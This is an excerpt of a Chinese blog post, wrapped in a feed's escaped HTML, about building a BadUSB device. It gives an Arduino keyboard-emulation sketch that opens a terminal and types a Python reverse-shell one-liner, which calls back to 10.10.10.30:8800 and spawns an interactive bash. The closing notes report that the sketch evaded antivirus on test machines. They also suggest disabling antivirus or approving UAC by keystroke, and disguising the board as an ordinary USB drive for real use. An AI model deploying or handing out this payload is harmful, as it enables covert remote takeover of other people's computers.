class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"cp\">#include<\/span> <span class=\"cpf\">&lt;Keyboard.h&gt;<\/span><span class=\"cp\">\n<\/span>\n<span class=\"kt\">void<\/span> <span class=\"nf\">setup<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n  <span class=\"c1\">\/\/ put your setup code here, to run once:<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">begin<\/span><span class=\"p\">();<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">2000<\/span><span class=\"p\">);<\/span>\n<span class=\"cm\">\/*\n  Keyboard.press(KEY_LEFT_CTRL);\n  delay(500);\n  Keyboard.press(KEY_LEFT_ALT);\n  delay(500);\n  Keyboard.press('T');\n  delay(500);\n  Keyboard.release('T');\n  *\/<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">press<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_LEFT_GUI<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">release<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_LEFT_GUI<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">println<\/span><span class=\"p\">(<\/span><span class=\"s\">\"term\"<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">press<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_RETURN<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">release<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_RETURN<\/span><span class=\"p\">);<\/span>\n\n\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">println<\/span><span class=\"p\">(<\/span><span class=\"s\">\"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<\/span><span class=\"se\">\\\"<\/span><span class=\"s\">10.10.10.30<\/span><span class=\"se\">\\\"<\/span><span class=\"s\">,8800));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([<\/span><span class=\"se\">\\\"<\/span><span class=\"s\">\/bin\/bash<\/span><span class=\"se\">\\\"<\/span><span class=\"s\">,<\/span><span class=\"se\">\\\"<\/span><span class=\"s\">-i<\/span><span class=\"se\">\\\"<\/span><span class=\"s\">]);'<\/span><span class=\"err\">\n<\/span><span class=\"s\">\"<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">press<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_RETURN<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">500<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">Keyboard<\/span><span class=\"p\">.<\/span><span class=\"n\">release<\/span><span class=\"p\">(<\/span><span class=\"n\">KEY_RETURN<\/span><span class=\"p\">);<\/span>\n  <span class=\"n\">delay<\/span><span class=\"p\">(<\/span><span class=\"mi\">50<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kt\">void<\/span> <span class=\"nf\">loop<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n  <span class=\"c1\">\/\/ put your main code here, to run repeatedly:<\/span>\n\n<span class=\"p\">}<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h1 id=\"\u8dcb\">\u8dcb<\/h1>\n<p>\u4ee3\u7801\u5f02\u5e38\u7b80\u5355\uff0c\u6267\u884c\u8fc7\u7a0b\u4e5f\u6beb\u4e0d\u9690\u853d\uff0c\u96be\u70b9\u5728\u4e8e\u5982\u4f55\u628a\u505a\u597d\u7684\u677f\u5b50\u63d2\u5230\u76ee\u6807\u8bbe\u5907\u4e0a :)<\/p>\n\n<p>\u6a21\u62df\u7684\u952e\u76d8\u8bbe\u5907\uff0c\u8bd5\u8fc7\u4e865\u53f0\u7535\u8111\uff0c\u5176\u4e2d\u4e09\u53f0win10\u6709\u6740\u8f6f\uff0c\u4e24\u53f0ubuntu\uff0c\u5168\u90e8\u6b63\u5e38\u8fd0\u884c\uff0c\u6ca1\u6709\u9047\u5230\u62e6\u622a\u7684\u60c5\u51b5\u3002<\/p>\n\n<p>\u5982\u679c\u6709\u6076\u610f\u547d\u4ee4\uff0c\u53ef\u80fd\u4f1a\u88ab\u62e6\u622a\uff0c\u4f3c\u4e4e\u706b\u7ed2\u4f1a\u62e6\u622a\u547d\u4ee4\u884c\u521b\u5efa\u7528\u6237\u7684\u547d\u4ee4<\/p>\n\n<p>\u677f\u5b50\u6a21\u62df\u952e\u76d8\u64cd\u4f5c\u5173\u6389\u6740\u8f6f\u4e5f\u662f\u53ef\u4ee5\u7684 :)  \u7136\u800c\u6682\u65f6\u6ca1\u60f3\u5230\u5982\u4f55\u7528\u952e\u76d8\u5feb\u6377\u952e\u5173\u6389\u6740\u8f6f\u3002\u5728\u6267\u884c\u8fc7\u7a0b\u4e2d\u6a21\u62df\u70b9\u51fb\u5141\u8bb8\u8be5\u7a0b\u5e8f\u6267\u884c\u3001\u540c\u610fUAC\u53ef\u80fd\u4e5f\u662f\u53ef\u4ee5\u7684\u3002<\/p>\n\n<p>\u6dd8\u5b9d\u4e0a\u8fd9\u6b3e\u677f\u5b50\u6709\u7684\u662f\u5e26\u58f3\u5b50\u7684\uff0c\u5916\u89c2\u5c31\u662f\u4e00\u4e2a\u666e\u901a\u7684\u4f18\u76d8\u3002\u5982\u679c\u5b9e\u6218\u4f7f\u7528\u7684\u8bdd\u53ef\u80fd\u66f4\u597d\u3002<\/p>\n\n<p>Les1ie<\/p>\n\n<p>2019\u5e748\u67087\u65e509:35:43<\/p>\n","pubDate":"Tue, 06 Aug 2019 12:46:25 +0000","link":"https:\/\/iansmith123.github.io\/2019\/08\/06\/badusb\/","guid":"https:\/\/iansmith123.github.io\/2019\/08\/06\/badusb\/","category":["websecurity","badusb"]}]}}